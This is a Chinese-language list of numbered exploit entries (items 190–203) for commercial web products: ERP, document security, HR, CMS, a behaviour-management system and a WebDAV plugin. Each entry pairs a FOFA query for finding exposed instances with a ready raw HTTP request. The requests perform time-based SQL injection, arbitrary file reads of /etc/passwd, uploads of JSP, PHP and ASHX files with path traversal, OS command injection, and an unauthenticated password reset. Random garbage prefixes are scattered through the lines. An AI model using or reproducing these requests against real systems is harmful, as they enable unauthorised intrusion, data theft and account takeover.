GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
# N3 w2 L. }% O4 kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) X: Y1 m: v, u1 b! U" E0 X8 aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


3 ~; h% c- ]( j0 V190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
+ V9 w. G+ B7 o7 n/ o" ~! y, mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. l6 J5 c) F" S& s: s  LContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd
2 ?$ K2 h2 a4 t; O4 J

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
2 A  v) b  P7 Y( `POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
1 Z+ L! l' z  n& N) WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

( Y; Q& N" q& Mcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
  P  E3 w3 J; I4 l) D9 J. J

0 J1 ?) c4 }: k/ N$ g192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
5 L1 v# Q! X& a& ?1 s8 sFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
; S( u9 Q/ U, i/ dHost: your-ip
0 z* ]  A) Q& `3 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
8 |/ O  _) T/ D# F

" E& R5 ?, L( d9 H5 x3 B<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
- O  M+ V  \, Z' S. h5 dpublic bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
+ c2 p, u# ~9 X3 Z4 ]1 M3 t{
: ?1 K0 G  X2 H' E/ ^ctx.Response.Write("test");
}
' j3 @/ W, y' n1 z+ j}
# n3 @  ]! Z! j/ h; a
* D) N' I( w+ ]5 J  e
* C& c" O- r1 i& V4 _193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
: _/ t2 O# y3 W8 O* N2 I6 mContent-Type: application/x-www-form-urlencoded
9 e* T7 }+ O" q/ t& qUser-Agent: Mozilla/5.0
2 A* \. I1 Q3 B; l* q4 T
, i1 \" B5 N6 J9 J
% I7 k) V" l( I1 w3 i; i+ ~2 TPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
# ?% x2 m  n8 Y' B- t" u/ GContent-Type: application/x-www-form-urlencoded
% K2 ?+ o: j& Y. z  I9 R7 LContent-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
9 D+ n' O+ V  J  B2 J7 E9 R
7 {2 ~0 |9 S. ~3 x0 ?! @5 |4 M' O
4 b7 }" R- |' ~0 j9 `$ q5 ]GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0
! s( s$ J& k) a  B$ b

0 X: W# v% p9 b6 y194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
7 w$ t/ e; X( p8 C
POST /servlet/uploadAttachmentServlet HTTP/1.1
$ A. p3 U8 g8 K9 i+ ]0 [: i1 ~Host: host
: x* V5 Z4 e& ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
$ w6 }7 A' h" m! vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
% F9 n5 h) L3 n; iContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
- }1 o- v; p6 ^------WebKitFormBoundaryKNt0t4vBe8cX9rZk
3 h7 S/ X# J- U" J
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
$ X. j/ s; X; U, s; |0 T------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
+ L( C/ Q# ~4 N- }% h9 v7 R0 H& B {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


$ v: [! J) }* y3 m: }# n+ Z! f0 I5 h% g195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
- j3 I. A  Z5 H  V7 E& fFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
/ X2 T0 O+ s9 W" ~, f' O% DHost: 127.0.0.1
7 D, z* L1 |# y, y1 OPragma: no-cache
/ @6 h8 F6 A1 M8 L3 H% o7 d) P& z" mCache-Control: no-cache
. ^' A9 Y+ o! ^9 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
( ?5 y/ p- Q% E& NAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
9 K4 R! |, }7 K, G0 k" ]Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

6 D- Z8 M- v, q5 w; P4 C7 Z{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
! z' J1 t% ]8 b+ Q8 W" T& y
: ^! ], d; x, `4 ?+ i, V
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
0 o, N& N: Q6 f. {POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
5 U* h( c! O; q# N  S* k' jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
& ^3 J5 T( X. @4 t" _: A1 g! |Content-Type: application/json;charset=UTF-8
* s4 W5 ^% y6 t0 N- `5 q# b, tX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
' h+ W, h# v! r, w! A. B9 PConnection: close
' ]2 ?! E. I4 L5 r: N3 ~! I
' _' e* Z* V4 }{"xgh":"test","newPass":"test666","email":""}
8 y; N* O+ ^' O

! |* D' ^% j1 O" c! h' [* w( E
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
2 e, d0 m" Q1 M* L/ e( AFOFA：app="浙大恩特客户资源管理系统"
; j3 B, Z& F* I5 H$ cGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
; R: U- @9 t2 C( \4 R  D$ {% U
+ |+ l5 m* U/ N: _+ }! v9 X& ?  s
  j; C$ ~, i0 `, \6 j
198.  阿里云盘 WebDAV 命令注入
5 V/ D. Z0 s% [* f6 H3 cCVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
' @% r5 h* V& `" L- w2 @$ E8 EAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
: a9 b* S: y0 @6 t
& u' C! u% p% G$ L
, y1 ]4 s" C$ K7 C199. cockpit系统assetsmanager_upload接口 文件上传

1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
( k' p, f$ V- ^* W% x4 }! N' nGET /auth/login?to=/ HTTP/1.1
# ~/ M! p% P# |7 d' m- |' W$ l/ J
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
- P* B& |2 F2 L- z( u/ E0 d$ @8 J
2.使用刚才上一步获取到的jwt获取cookie：
5 q, k" J4 b; |, X3 O
POST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
  |! D6 t2 q1 I0 ^Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
3 c) P4 c) t: A: u3 LCookie: mysession=95524f01e238bf51bb60d77ede3bea92
" o& r* |" }& k* l
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

) p0 ^4 n/ p. v! Z1 A<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"
# V3 d/ r1 V( {- e- z
-----------------------------36D28FBc36bd6feE7Fb3--
. T! [/ L- N- r. i/ s& A2 l, O

/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
' L  Y# x# ^6 v6 u) \: d% W4 OFOFA：app="海洋CMS"
! d' S3 _- I% @, V& t% [GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
4 y7 y7 ^) Q, W4 T: e" ECookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! z" l& D. Y' w" Y; T& @5 ^4 e& AAccept-Encoding: gzip, deflate
' E, ^* L  [! a2 o. V) |Accept-Language: zh-CN,zh;q=0.9
4 N  E) N. U1 M% c

201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ b, ]) D7 c# A8 a) cAccept-Encoding: gzip, deflate
! P! x; d* r% R5 e" v/ YAccept-Language: zh-CN,zh;q=0.9
Connection: close
8 G& E0 `  [1 g: o' X4 J6 Y
5 o2 r, z, R( n) n8 zTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


* k7 _+ u8 O# Q$ E8 K9 _' z202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
: f3 `$ a6 Y% z1 }% B获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
5 `7 u3 E+ c! V8 t2 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0


替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
. Y) O$ Q+ q4 N% f) l9 R( x9 V7 RContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
4 |* `* G  J" d  S$ P+ `6 IContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
. F8 @6 q3 y: Q: f: n. s7 R% r0 C
__EVENTVALIDATION
$ b* N0 S0 v3 \# H" f" P-----------------------------786435874t38587593865736587346567358735687
! C" R* M% ?+ n5 [/ D' MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

& K8 {/ p' g7 H$ vHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
! E/ t  q; b0 t% l" ?& P-----------------------------786435874t38587593865736587346567358735687
% }0 v% N+ J3 D0 p, o, SContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


+ c! c6 Z- X; K2 \4 _2 L! O-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

  n0 @* |, R1 P; |( Q+ h! d
-----------------------------786435874t38587593865736587346567358735687--
0 f& o! h& Y* G7 g+ m: L
( c, \- |3 Z! P1 g1 A  M
/_data/Uploads/1123.txt

+ k( H8 ]! I$ I& {3 B; ~7 _203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
7 g- t% k0 w) l$ q2 ]POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
; T1 l/ \( X$ N3 G7 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

1 b" [; Z4 }  U, V% O" s------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
+ y' I1 Z$ _3 l$ `! j: ZContent-Type:image/jpeg
2 i/ q$ N$ C' E. Z" @" x
<% out.print("hello,eHR");%>
, M/ _1 C7 v- s, Y: J$ \$ D: ?------WebKitFormBoundaryt7WbDl1tXogoZys4--

6 Q; _0 F7 P$ |3 }1 C  A  L
  o6 s- N% K- H( G. ^" D2 w